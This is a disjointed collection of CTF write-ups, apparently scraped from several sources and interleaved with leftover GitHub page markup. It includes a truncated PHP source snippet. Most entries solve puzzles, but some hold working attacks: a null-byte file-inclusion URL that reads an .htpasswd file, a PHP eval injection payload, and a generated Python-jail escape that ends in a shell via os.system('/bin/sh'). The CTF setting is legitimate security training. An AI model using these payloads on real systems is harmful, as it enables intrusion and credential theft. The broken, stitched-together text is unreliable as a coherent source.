```letterspacing -239x 40y 1524]b[letterspacing -159x 280]r[letterspacing -133x 440]i[letterspacing -239x 573]x[letterspacing -212x 813]e[letterspacing -133x 1026]l[letterspacing -319x 1159]C[letterspacing -292x 1479]T[letterspacing -266x 1772]F[letterspacing -230x 2038]{[letterspacing -239x 2268]n[letterspacing -239x 2508]0[letterspacing -239x 2748]_[letterspacing -372x 2988]m[letterspacing -239x 3361]0[letterspacing -159x 3601]r[letterspacing -239x 3761]3[letterspacing -239x 4001]_[letterspacing -239x 4241]5[letterspacing -239x 4481]u[letterspacing -239x 4721]p[letterspacing -239x 4961]p[letterspacing -239x 5201]0[letterspacing -159x 5441]r[letterspacing -133x 5601]t[letterspacing -230x 5734]}```
flag : `brixelCTF{n0_m0r3_5upp0rt}` |
# ANDROID
```This little android app requires a password, can you find it?
the flag is the password```
- Fichier : [brixelCTF.apk](../attachements/android/brixelCTF.apk)
unzip brixelCTF.apk
```$ strings classes* | grep brixelt/tmp/1602666767984_0.27958933214667514-0/youngandroidproject/../src/appinventor/ai_kevin_erna/brixelCTF/Screen1.yailt/tmp/1602666767984_0.27958933214667514-0/youngandroidproject/../src/appinventor/ai_kevin_erna/brixelCTF/Screen2.yailt/tmp/1602666767984_0.27958933214667514-0/youngandroidproject/../src/appinventor/ai_kevin_erna/brixelCTF/Screen3.yail,Lappinventor/ai_kevin_erna/brixelCTF/R$anim;,Lappinventor/ai_kevin_erna/brixelCTF/R$attr;,Lappinventor/ai_kevin_erna/brixelCTF/R$bool;-Lappinventor/ai_kevin_erna/brixelCTF/R$color;-Lappinventor/ai_kevin_erna/brixelCTF/R$dimen;0Lappinventor/ai_kevin_erna/brixelCTF/R$drawable;*Lappinventor/ai_kevin_erna/brixelCTF/R$id;/Lappinventor/ai_kevin_erna/brixelCTF/R$integer;.Lappinventor/ai_kevin_erna/brixelCTF/R$layout;.Lappinventor/ai_kevin_erna/brixelCTF/R$mipmap;.Lappinventor/ai_kevin_erna/brixelCTF/R$string;-Lappinventor/ai_kevin_erna/brixelCTF/R$style;1Lappinventor/ai_kevin_erna/brixelCTF/R$styleable;+Lappinventor/ai_kevin_erna/brixelCTF/R$xml;'Lappinventor/ai_kevin_erna/brixelCTF/R;3Lappinventor/ai_kevin_erna/brixelCTF/Screen1$frame;-Lappinventor/ai_kevin_erna/brixelCTF/Screen1;3Lappinventor/ai_kevin_erna/brixelCTF/Screen2$frame;-Lappinventor/ai_kevin_erna/brixelCTF/Screen2;3Lappinventor/ai_kevin_erna/brixelCTF/Screen3$frame;-Lappinventor/ai_kevin_erna/brixelCTF/Screen3; brixelCTF+brixelCTF{th3_4ndr0ids_y0u_4r3_l00k1ng_f0r}```
flag : `brixelCTF{th3_4ndr0ids_y0u_4r3_l00k1ng_f0r}` |
```import hashlib
for a in range(97, 122): for b in range(97, 122): for c in range(97, 122): for d in range(97, 122): for e in range(97, 122): pw = chr(a) + chr(b) + chr(c) + chr(d) + chr(e) pw += "04532@#!!"
print(pw, hashlib.md5(pw.encode('utf-8')).hexdigest())```
`brute` |
The index.php is used to load files without any limit, so only access:http://timesink.be/pathfinder2/index.php?page=admin/.htpasswd%00.php
`brixelCTF{outdated_php}` |
# COOKIES
```This stupid cookie clicker game...
Legend has it there is a reward when you reach 10000000 or more clicks
Can you think of a way to get that many clicks?```
Here we have a clicker game
We'll use **scanmem** to write to memory the click number :```$ sudo scanmem -p $(pidof visualboyadvance-m)> 0info: we currently have 315079020 matches.315079020> 1..........okinfo: we currently have 12972 matches.12972> 2..........okinfo: we currently have 14 matches.14> 3.......okinfo: we currently have 3 matches.3> list[ 0] 7f608c01985c, 45 + 1985c, misc, 3, [I64 I32 I16 I8 ][ 1] 7f608cb8abdc, 53 + cbdc, misc, 3, [I64 I32 I16 I8 ][ 2] 7f608cb98d70, 53 + 1ad70, misc, 3, [I64 I32 I16 I8 ]3> set 10000000info: setting *0x7f608c01985c to 0x989680...info: setting *0x7f608cb8abdc to 0x989680...info: setting *0x7f608cb98d70 to 0x989680...```
flag : `brixelCTF{m3m0ry}` |
# EVIDENCE
```A buddy of mine is in serious trouble. He works for the feds and accidentally deleted a pendrive containing crucial evidence
Can you get it back and tell us what the evidence is?
We need to know what the suspect bought```
- File : [evidence.zip](https://github.com/Pynard/writeups/raw/main/2020/BRIXEL/attachements/evidence/evidence.zip)
First we unzip the archive to find an img file :
```$ file evidence.imgevidence.img: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 255, dos < 4.0 BootSector (0x0), FAT (1Y bit by descriptor); NTFS, sectors/track 63, physical drive 0x80, sectors 1880044, $MFT start cluster 78335, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 0a6822852822828ef; contains bootstrap BOOTMGR```
This img seems corrupted, as shown with fdisk :
```$ fdisk -l evidence.imgPériphérique Amorçage Début Fin Secteurs Taille Id Typeevidence.img1 1920221984 3736432267 1816210284 866G 72 inconnuevidence.img2 1936028192 3889681299 1953653108 931,6G 6c inconnuevidence.img3 0 0 0 0B 0 Videevidence.img4 27722122 27722568 447 223,5K 0 Vide```
We'll use **photorec** to recover some deleted files and we get 2 wav files :
```$ ls recup_dir.1f0011328.wav f0028304.wav```
- [f0011328.wav](https://github.com/Pynard/writeups/raw/main/2020/BRIXEL/attachements/evidence/f0011328.wav)- [f0028304.wav](https://github.com/Pynard/writeups/raw/main/2020/BRIXEL/attachements/evidence/f0028304.wav)
These are phone calls between Dorfmeister and a bot
We have to recover DTMF key press :
```$ multimon-ng -a DTMF -t wav f0011328.wav```
We get :
```212555424054666916092533266500018449903336667770844330222666222244466330227778844#2```
Some are numbers others are multi-tap letters, so lets convert it to text to see what we've got :
```A ALGAG JGOW M WAJEANJ THX FOR THE COCAINE BRUH```
So he clearly bought cocaine
flag : `brixelCTF{cocaine}` |
# QUIZBOT
```Legend has it there's a flag at the end when you have a perfect score
http://timesink.be/quizbot```
On this page we have to answer to 1000 questions !
Gladly when your answer is wrong, the right answer is given with the next question.
So lets write a bot that gathers all questions + answers in a dict and then play the quiz with them.
```pythonimport requestsfrom bs4 import BeautifulSoupfrom tqdm import tqdm
url = 'http://timesink.be/quizbot/index.php'post_data = {'insert_answer':' ', 'submit':'answer'}quiz = {}
###
response = requests.get(url, headers={'User-Agent': 'Mozilla/5.0'})html_text = response.textcookies = response.cookies.get_dict()soup = BeautifulSoup(html_text,'html.parser')question = soup.find(name='h4').text
with tqdm(range(1000),desc='Downloading questions + answers') as pbar: for i in pbar: response = requests.post(url, cookies=cookies, data=post_data, headers={'User-Agent': 'Mozilla/5.0'}) html_text = response.text soup = BeautifulSoup(html_text,'html.parser') answer = soup.find(name='div',attrs={'id':'answer'}).text quiz[question] = answer if i != 999: question = soup.find(name='h4').text pbar.update(1)
###
response = requests.get(url, headers={'User-Agent': 'Mozilla/5.0'})html_text = response.textcookies = response.cookies.get_dict()soup = BeautifulSoup(html_text,'html.parser')question = soup.find(name='h4').text
with tqdm(range(1000),desc='Pwn quiz') as pbar: for i in pbar: post_data['insert_answer'] = quiz[question] response = requests.post(url, cookies=cookies, data=post_data, headers={'User-Agent': 'Mozilla/5.0'}) html_text = response.text soup = BeautifulSoup(html_text,'html.parser') if i != 999: question = soup.find(name='h4').text
pbar.update(1)print(html_text)```And thew we get the flag
```html<div align="center">Correct!</div>Congratulations, you have defeated the mighty QuizB0t, your flag is: brixelCTF{kn0wl3dg3}```flag : `brixelCTF{kn0wl3dg3}` |
[https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Programming/Song](https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/Programming/Song) |
# FAST ENOUGH
```Can you program something that is fast enough to submit the solution before the time runs out?
http://timesink.be/speedy```
On this page we get a code to send back via a POST method in less than 1 second
```bash#!/bin/bash
rm index header
curl --output index -D header http://timesink.be/speedy/index.php
cookie=$(cat header | grep Cookie | cut -d ' ' -f 2 | tr -d ';')code=$(cat index | cut -d '>' -f 13-14 | cut -d '<' -f 1)
curl -X POST --cookie "$cookie" --data-raw "inputfield=$code" http://timesink.be/speedy/index.php```
We get this response :
```html<html> <body> <div align="center"> <h1>Are you fast enough? </h1> </div> <hr> <div align="center">You took: 0 second(s) to complete the task.</div> <div align="center">Congratulations, you completed the task in under 1 seconds!</div> <div algin="center">The flag is: brixelCTF{sp33d_d3m0n}</div> </body></html>```
flag : `brixelCTF{sp33d_d3m0n}` |
# HPNY
**Info**: Get some lucky word or number for your new year! *(http://challenge/?roll=getluckyword)*
La frustración hecha reto. Clickando en el link, solamente se puede ver un mensaje deseando *Feliz Año Nuevo* en algún idioma aleatorio, pero en el caso de acceder sin especificar ningún parámetro, se muestra el código fuente de la página:
```php 50) { die("bumbadum badum"); } eval("echo ".$_GET["roll"]."();");}
?>```
Como se puede ver, hay dos funciones definidas: `get_lucky_word` y `get_lucky_number`. No parece que haya nada realmente interesante en ninguna, así que las obviaremos. Por otro lado, el código comprueba la existencia del parámetro `roll` y si éste contiene solamente valores alfabéticos y algunos símbolos admitidos. Además, también valida que la longitud del valor sea menor o igual que 50 caracteres.
La parte interesante viene después:
```php eval( "echo " . $_GET["roll"] . "();" );```
Claramente aquí se encuentra la vulnerabilidad.
Vemos que lo que le pasemos como valor al parámetro *roll* se va a evaluar como una función. Es por eso que si escribimos `get_lucky_word` nos devuelve una felicitación aleatoria.Para probar si existe la vulnerabilidad, se puede escribir la función `phpinfo` y esperar que devuelva un resultado:
*Voilà!* Muestra exactamente lo que se esperaba. La idea ahora es buscar dónde puede estar la flag escondida...
El primer paso es listar el directorio en el que nos encontramos, pero no va a ser posible usar `scandir(".")`, dado que las comillas no están permitidas. Aún así, la solución es simple: podemos usar variables globales como `__DIR__` o funciones como `getcwd` para resolver el problema. Pero también sucede que `scandir` devuelve un Array, y no es posible renderizarlo en el navegador, así que lo suyo será englobar todo dentro de funciones como `var_dump` o `print_r`:
> Comando: *?roll=print_r(scandir(getcwd()))*
La frustración y los problemas comienzan al intentar leer el archivo. Para utilizar comandos como `readfile` o `show_source` es necesario especificar el nombre del fichero, pero habría que usar comillas y además éste contiene un número (caracter que no tenemos permitido).
Entonces, ¿cómo lo resolvemos?
Una solución, y posiblemente la más sencilla, es aprovechar el resultado del script anterior para concatenarlo con una lectura de archivos. Podemos darle la vuelta al array con `array_reverse` y obtener al segundo índice con `next`.
**¡Ahí está la flag!**
_
Para ser sinceros, esta no es la solución a la que yo llegué. Mi aproximación fue algo diferente.
Ya que existen funciones como `getallheaders`, pasé como cabecera el nombre del archivo y lo obtuve usando `array_pop`. Distinta solución al mismo reto:
 |
# Fibonacci
## Task
File: Fibonacci.7z
## Solution
We can't unzip that file. The magic header is broken.
```bash$ file Fibonacci.7zFibonacci.7z: data$ xxd Fibonacci.7z | head00000000: 4242 4242 3742 7abc 42af 271c 0042 04c9 BBBB7Bz.B.'..B..00000010: 336d e569 0542 0000 0000 0000 5a00 0000 3m.i.B......Z...00000020: 0000 4200 0077 9ed7 14e0 0be2 0561 5d00 ..B..w.......a].00000030: 2168 b490 09c2 6442 c064 0461 7378 6c59 !h....dB.d.asxlY00000040: 041b 7ec3 e075 08cf 3b81 a186 1f0c 2557 ..~..u..;.....%W00000050: fded 72e7 04b6 20eb a242 dcc7 e2f1 ee76 ..r... ..B.....v00000060: 407f 6fa8 09dc e8db 19d4 ea35 0743 14a5 @.o........5.C..00000070: e962 5c96 b485 329f e0ea 4c10 fc8f 4493 .b\...2...L...D.00000080: 5407 0631 066e 7938 ebc2 7e52 a17f a547 T..1.ny8..~R...G00000090: 4246 6502 189a ce8c 6ae2 469c 8f93 0f57 BFe.....j.F....W```
Correct one would be: `37 7A BC AF 27 1C`. Just fixing that doesn't help.
So, why is this called `Fibonacci`? If you keep that in mind this is pretty straight forward.
If the byte position is in a gap of the sequence we keep it.
- 1 -> 1, drop- 1 -> 2, drop- 2 -> 3, drop- 3 -> 5, keep 4- 5 -> 8, keep 6 and 7
This is my very bad script, using an intermediate boolean array:
```python2fibs = [1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181,6765]dec = []
prev = 0for x in fibs: for y in range(x - prev - 1): dec.append(1) dec.append(0) prev = x
f = open("fib.7z", "rb")d = f.read()f.close()
f = open("dec.7z", "w")for b in range(len(d)): if dec[b]: f.write(d[b])
f.close()```
After extracting we have a `Fibonacii` file. Flag is in the last line:
`"AFFCTF{Hitchhiker}," said Deep Thought, with infinite majesty and calm.”` |
Trying some valid inputs results in prompts like:```>>> strYou try double eval'ing your contraption: <class 'str'>Your contraption did not work.```This lets us know that the challenge is doing `eval(eval(input))`. So if we can craft some `input` that gives us shell, we can break out. If we can find a valid input that results in the string `"exec(input)" `, then we will have `eval(eval("exec(input)"))`, from which we can execute arbitrary python code without the character limitation. However, the character limitation means that there are very few things we can do to get `"exec(input())"`.
We can:1) call functions, since we have access to ()2) call built ins that are in the valid character set: `int(), getattr(), enumerate(), hasattr(), setattr(), ascii(), iter(), min(), set(), sum(), chr(), vars(), range(), str(), isinstance(), hash()`3) create tuples
Notably we can't use e.g. `lambda` or `for`. We also dont have `'` or `"` so we can't convert any of the letters we have into strings like `"get"`
Trying various combinations of the builtins, we find that we can get numbers from `int` and `hash`:```>>> int()>>> 0>>> hash(str)>>> 532164```
Python `hash` is not a cryptographic hash. Rather it returns the Python internal hash value. This effectively (for this chall) is large random numbers.
We also have `chr` which allows us to convert from unicode codepoint number e.g. `40` to the character `A`. This suggests a potential approach: we can get new letters that we didn't previously have access to by getting the unicode number, and then using `chr`. `hash` called on random objects, e.g. `str`, `()`, `(str, int)` gives us an endless supply of large numbers. We also have access to `//` so we can floor divide to get smaller numbers. This hit-or-miss approach gets quite close, but would require an intensive brute force to try and find hashes that can be floor divided to get exactly what we want. If only we had access to some arithmetic ...
Okay, so assuming we are able to get the numbers we need, we now have a new issue: we cannot construct the final string. if we had the right numbers we may be able to construct e.g.```>>> (chr(101), chr(120), chr(101), (chr(99))('e', 'x', 'e', 'c')```
But this is not equal to `"exec"` which is what we need.
This is the trickiest part of the chall: solving both these problems comes from a useful coincidence, that is quite hard to discover.
A builtin we have is `vars`. `vars` will return the `__dict__` attribute for the object we apply it to, which includes all of its callables.```>>> set(vars(str)){'__le__', '__contains__', 'casefold', 'center', 'count', 'find', 'rfind', 'rstrip', 'istitle', 'isprintable', '__ge__', '__rmod__', 'rjust', '__mod__', '__eq__', 'startswith', '__sizeof__', '__mul__', 'ljust', 'rpartition', '__getattribute__', 'format', 'isnumeric', 'swapcase', '__getnewargs__', 'zfill', '__doc__', 'isalnum', '__add__', 'rindex', 'isdecimal', '__len__', 'isalpha', 'replace', 'partition', 'expandtabs', 'isspace', 'title', '__new__', 'islower', 'isdigit', 'join', 'strip', '__format__', 'lstrip', 'upper', 'isupper', 'lower', '__getitem__', '__gt__', 'format_map', '__repr__', 'rsplit', 'split', 'index', 'endswith', '__hash__', 'maketrans', 'isidentifier', 'splitlines', '__str__', '__ne__', '__lt__', 'translate', '__rmul__', '__iter__', 'capitalize', 'encode'}>>> set(vars(int)){'__le__', '__pos__', '__ror__', '__sub__', '__ge__', '__rmod__', '__rfloordiv__', '__mod__', '__neg__', '__eq__', '__xor__', '__ceil__', '__rdivmod__', '__sizeof__', '__rsub__', '__rshift__', '__mul__', 'real', 'imag', '__getattribute__', '__pow__', '__getnewargs__', '__divmod__', '__int__', '__float__', '__index__', '__doc__', 'conjugate', '__rxor__', '__floor__', '__radd__', '__add__', '__rrshift__', 'denominator', '__or__', '__truediv__', '__new__', '__trunc__', '__format__', '__rpow__', '__rand__', '__bool__', '__invert__', '__round__', '__lshift__', '__rlshift__', '__gt__', '__and__', '__rtruediv__', '__repr__', 'to_bytes', '__hash__', 'from_bytes', 'numerator', '__str__', '__ne__', '__lt__', '__rmul__', '__abs__', '__floordiv__', 'bit_length'}```
If we had any of these strings, we could use `getattr(object, attribute)` to call a method on an object. This might help with getting arithmetic on math, since Python `int` has `__add__`, `__sub__`. But how do we get elements out of the dictionary (returned by `vars`) or the set (returned by `set(vars)`)? We can `iter` over them, but without `next` (no `x` available), we can't access the elements still. There is only one useful built-in: `min`. `min` returns the smallest object in set, or smallest key in dict, based on _lexicographical_ ordering. Luckily, the smallest thing by lexicographical ordering is exactly what we want!
```>>>min(vars(str)>>>'__add__'```
Now if we had `a` and `b` we can do `getattr('a', min(vars(str)))('b')` which returns `ab`. We can also do `getattr(1, min(vars(str)))(2)` which returns `3`.
The exploit program is below.
First, provide function `n(x)` to represent arbitrary numbers using the addition trick above and `hash`. Some "magic" numbers must be found from `hash` that are close to the desired codepoints, otherwise we have recursion depth exceeded on the chall server.```one = "hash(())//hash(())"
def add(x, y): return "getattr({},min(vars(str)))({})".format(x, y)
def n(x): if x == 80: return "hash((str,str))//hash(str)//hash(((),))" if x == 39: return "hash((str,()))//hash(((),()))" elif x == 6: return "hash(())//hash(str)" elif x == 1: return one elif x > 80: return add(n(80), n(x - 80)) elif x > 39: return add(n(39), n(x - 39)) elif x > 6: return add(n(6), n(x - 6)) else: return add(one, n(x-1))```
Then we get the unicode representation of the shellcode we want, and convert from unicode into chars, and join again with addition trick from above.```def char(x): return "chr({})".format(n(ord(x)))
def shell(): des = "exec(input())" return (char(x) for x in des)
def joined_shell(): init = "str()" for x in shell(): init = add(init, x) return init
print(joined_shell())```
Running this on the chall server provides `input()` that we can type anything into. E.g. `import os; os.system("/bin/sh")`. Since this is `input()`, we are not bound by the restrictions of the jail. This is then run by `exec`, and we have shell access, the chall flag is in the root dir. |
[https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/RE/Android](https://github.com/crr0tz-4-d1nn3r/CTFs/tree/master/brixel_2020/RE/Android) |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>VULNCON CTF 2020</span></span><span>/</span>T1G3R<span>/</span> </div> </div>
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The RNG produces random bytes by computing $\langle u, v \rangle = \sum_{i=1}^3 e_i D_i$ and converting the coefficients of $u$ and $v$ to bytes. Using known plaintext we can recover $u$, and using $u$ we can recover $v$ to decrypt the rest of the message.
[full writeup](https://jsur.in/posts/2020-12-21-hxp-ctf-2020-hyper-writeup) |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>RaziCTF 2020</span></span><span>/</span>Industrial Control Systems<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>RaziCTF 2020</span></span><span>/</span>Industrial Control Systems<span>/</span></div>
<div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/mrajabinasab/CTF-Writeups/tree-commit/e8b256f6c0fc53b2be9b7c0d17995ce0585585c3/RaziCTF%202020/Industrial%20Control%20Systems" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Industrial network 2.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Industrial network.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>IoT 2.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>IoT.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>RaziCTF 2020</span></span><span>/</span><span><span>Misc</span></span><span>/</span>Recurzip<span>/</span> </div> </div>
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|
# NO_PEEKING
```Hidden inside this exe file is a flag
Up to you to find it```
- File : [noPEEKing.exe](https://github.com/Pynard/writeups/raw/main/2020/BRIXEL/attachements/no_peeking/noPEEKing.exe)
```$ strings -e l noPEEKing.exe[...]The flag is brixelCTF{d0tP33K}[...]```
flag : `brixelCTF{d0tP33K}` |
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|
The challenge file is named `smokeaway.jpg.enc`, so we can safely assume that it was originally a JPG file. We know it was encrypted using XOR, but we don't know the key, not even its length. Thankfully, we know with a pretty high level of confidence what the JPG headers are:
```FF D8 FF E8 00 10 4A 46 49 46 00 01 01 00 00 01 00 00 ... ^ ^ ^ ^ ^ ^ ^```
The bytes I marked with `^` are those I was not entirely sure about, but again, it is with a relatively high level of confidence because it was like that with most of the JPG files I analyzed. If you want more information on JPG headers, please check the dedicated [Wikipedia page](https://en.wikipedia.org/wiki/JPEG_File_Interchange_Format).
Ok so now, assuming the headers of the original JPG are more or less like that, i.e. this is the beginning of the plaintext, we can XOR it with the beginning of the ciphertext to determine the key that was used.
```pythonenc_img = []with open('smokeaway.jpg.enc', 'rb') as f: byte = f.read(1) while byte != b'': enc_img.append(ord(byte)) byte = f.read(1)
key = [0] * 18key[0] = enc_img[0] ^ 0xffkey[1] = enc_img[1] ^ 0xd8key[2] = enc_img[2] ^ 0xffkey[3] = enc_img[3] ^ 0xe0key[4] = enc_img[4] ^ 0x00key[5] = enc_img[5] ^ 0x10key[6] = enc_img[6] ^ 0x4akey[7] = enc_img[7] ^ 0x46key[8] = enc_img[8] ^ 0x49key[9] = enc_img[9] ^ 0x46key[10] = enc_img[10] ^ 0x00key[11] = enc_img[11] ^ 0x01key[12] = enc_img[12] ^ 0x01key[13] = enc_img[13] ^ 0x00key[14] = enc_img[14] ^ 0x00key[15] = enc_img[15] ^ 0x01key[16] = enc_img[16] ^ 0x00key[17] = enc_img[17] ^ 0x00
print(key)```
This is the result: `[70, 204, 249, 165, 113, 240, 255, 177, 126, 65, 203, 132, 70, 205, 248, 136, 112, 220]`
We can see that the key bytes start to loop at index 12 (I was a bit wrong in my assumptions so the numbers are not exactly the same afterwards), so we reckon that `key = [70, 204, 249, 165, 113, 240, 255, 177, 126, 65, 203, 132]`.
Finally, we can retrieve the original file by XORing it with the key:
```pythondef xor(data, key): return [data[i] ^ key[i % len(key)] for i in range(len(data))]
with open('smokeaway.jpg', 'wb') as f: f.write(bytearray(xor(enc_img, key)))```
 |
# BIRDCALL
```I heard this birdcall when walking the other day
Can you give me the LATIN name of this bird species?
Here's a dutch joke for you: Het is niet de proxi-mus??
replace (if any) spaces with underscores ('_')```
- File : [birdcall.mp3](https://github.com/Pynard/writeups/raw/main/2020/BRIXEL/attachements/birdcall/birdcall.mp3)
From this [website](https://birdnet.cornell.edu/api/) we know that it is a **white stork**
the latin name is **ciconia ciconia**
flag : ` brixelCTF{ciconia_ciconia}` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>RaziCTF 2020</span></span><span>/</span>Industrial Control Systems<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>RaziCTF 2020</span></span><span>/</span>Industrial Control Systems<span>/</span></div>
<div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/mrajabinasab/CTF-Writeups/tree-commit/e8b256f6c0fc53b2be9b7c0d17995ce0585585c3/RaziCTF%202020/Industrial%20Control%20Systems" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Industrial network 2.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
